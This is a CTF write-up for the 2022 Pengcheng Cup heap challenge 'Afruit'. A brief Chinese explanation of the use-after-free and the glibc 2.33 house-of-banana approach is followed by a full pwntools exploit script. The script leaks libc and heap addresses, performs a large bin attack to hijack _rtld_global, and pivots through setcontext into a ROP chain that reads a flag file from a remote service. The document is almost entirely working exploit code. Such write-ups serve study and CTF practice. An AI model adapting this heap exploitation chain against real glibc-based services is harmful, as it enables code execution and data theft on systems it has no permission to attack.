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鹏城杯2022_Afruit

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delete没有清空指针，导致UAF

堆大小限制在large bin范围

题目glibc环境为2.33，可以直接使用house of banana方法劫持rtld_global

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#coding:utf8
from pwn import *

#sh = process('./A_fruit_patch')
sh = remote('192.168.1.105',8888)
libc = ELF('./libc-2.33.so')
#sh = process('./A_fruit')

def add(size):
   sh.sendlineafter('5.Exit','1')
   sh.sendlineafter('size:',str(size))


def edit(index,content):
   sh.sendlineafter('5.Exit','2')
   sh.sendlineafter('index:',str(index))
   sh.sendafter('content:',content)

def show(index):
   sh.sendlineafter('5.Exit','3')
   sh.sendlineafter('index:',str(index))

def delete(index):
   sh.sendlineafter('5.Exit','4')
   sh.sendlineafter('index:',str(index))

add(0x410) #0
add(0x410) #1

delete(0)

add(0x410) #2
show(2)
sh.recvuntil('\n')
enc1_1 = int(sh.recvuntil('\n',drop = True),16)
enc2_1 = int(sh.recvuntil('\n',drop = True),16)
edit(2,'aa')
show(2)
sh.recvuntil('\n')
enc1_2 = int(sh.recvuntil('\n',drop = True),16)

edit(2,'a'*6)
show(2)
sh.recvuntil('\n')
sh.recvuntil('\n')
enc2_2 = int(sh.recvuntil('\n',drop = True),16)


def decrypt(enc1_1,enc2_1,enc1_2,enc2_2):
   p = process('./crack')
   p.sendafter('mode:',p32(1))
   p.sendafter('prefix:','aa')
   p.sendafter('enc:',p32(enc1_2))
   p.recvuntil('0x')
   w1 = int(p.recv(4),16)
   p.close()

   p = process('./crack')
   p.sendafter('mode:',p32(2))
   p.sendafter('fix:',p16(w1))
   p.sendafter('enc:',p32(enc1_1))
   p.recvuntil('0x')
   w0 = int(p.recv(4),16)
   p.close()

   #print hex(w0),hex(w1)

   p = process('./crack')
   p.sendafter('mode:',p32(1))
   p.sendafter('prefix:','aa')
   p.sendafter('enc:',p32(enc2_2))
   p.recvuntil('0x')
   w3 = int(p.recv(4),16)
   p.close()

   p = process('./crack')
   p.sendafter('mode:',p32(2))
   p.sendafter('fix:',p16(w3))
   p.sendafter('enc:',p32(enc2_1))
   p.recvuntil('0x')
   w2 = int(p.recv(4),16)
   p.close()

   #print hex(w2),hex(w3)

   return (w3 << 48) | (w2 << 32) | (w1 << 16) | w0

libc_base = decrypt(enc1_1,enc2_1,enc1_2,enc2_2) - 0x1e0c00
print 'libc_base=',hex(libc_base)
_rtld_global_ptr_addr = libc_base + 0x222040
print '_rtld_global_ptr_addr=',hex(_rtld_global_ptr_addr)

add(0x450) #3
add(0x420) #4
add(0x440) #5
add(0x420) #6
add(0x410) #7
add(0x410) #8


delete(0)
delete(4)
delete(6)

add(0x500) #9
add(0x420) #10
add(0x420) #11
add(0x410) #12

show(10)
sh.recvuntil('\n')
enc1_1 = int(sh.recvuntil('\n',drop = True),16)
enc2_1 = int(sh.recvuntil('\n',drop = True),16)
edit(10,'aa')
show(10)
sh.recvuntil('\n')
enc1_2 = int(sh.recvuntil('\n',drop = True),16)

edit(10,'a'*6)
show(10)
sh.recvuntil('\n')
sh.recvuntil('\n')
enc2_2 = int(sh.recvuntil('\n',drop = True),16)
heap_addr = decrypt(enc1_1,enc2_1,enc1_2,enc2_2)
print 'heap_addr=',hex(heap_addr)

delete(3)
#将3放入large bin
add(0x500) #13
#将5和7放入unsorted bin
delete(5)
delete(7)

#修改large bin的bk_nextsize
edit(3,p64(0)*3 + p64(_rtld_global_ptr_addr-0x20))

#large bin attack to hijack rtld_global
add(0x410) #14

fake_rtld_global_addr = heap_addr + 0x840

add(0x440) #15
edit(3,p64(libc_base + 0x1e1000)*2 + p64(heap_addr + 0x840)*2)

delete(1)
add(0x440) #16
#fake rtld_global
edit(16,'\x00'*0x420 + p64(0) + p64(libc_base + 0x2237d0) + p64(0) + p64(fake_rtld_global_addr))

add(0x420) #17


retn = libc_base + 0x52a92
set_context = libc_base + 0x529ad
pop_rdi = libc_base + 0x0000000000028a55
pop_rsi = libc_base + 0x000000000002a4cf
pop_rdx = libc_base + 0x00000000000c7f32
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
opendir_addr = libc_base + libc.sym['opendir']
readdir_addr = libc_base + libc.sym['readdir']
mov_p_rdi_rax = libc_base + 0x0000000000041a03
#mov rdi, qword ptr [rdi + 0xe0] ; jmp rax
mov_rdi_p_rdi = libc_base + 0x000000000007efdd
pop_rax = libc_base + 0x0000000000044c70


flag_addr = heap_addr + 0x910
rop = p64(flag_addr) + p64(pop_rsi) + p64(0)
rop += p64(open_addr)
rop += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x100) + p64(read_addr)
rop += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x100) + p64(write_addr)
rop += './flag\x00'

print hex(len(rop))

payload = rop.ljust(0xd0,'\x00')
payload += p64(fake_rtld_global_addr + 0x8*0x24)
payload += p64(0) + p64(fake_rtld_global_addr + 0x8*0x25)
payload += p64(fake_rtld_global_addr + 0x8*0x32) + p64(0x10) #func count
payload = payload.ljust(0x150,'\x00')

payload += p64(set_context)
payload += p64(retn)
payload += '\x00'*0x98
payload += p64(heap_addr + 0x880) #new rsp
payload += p64(pop_rdi)

payload = payload.ljust(0x31c-0x40,'\x00')
payload += p32(0x8)

edit(17,payload)


sh.interactive()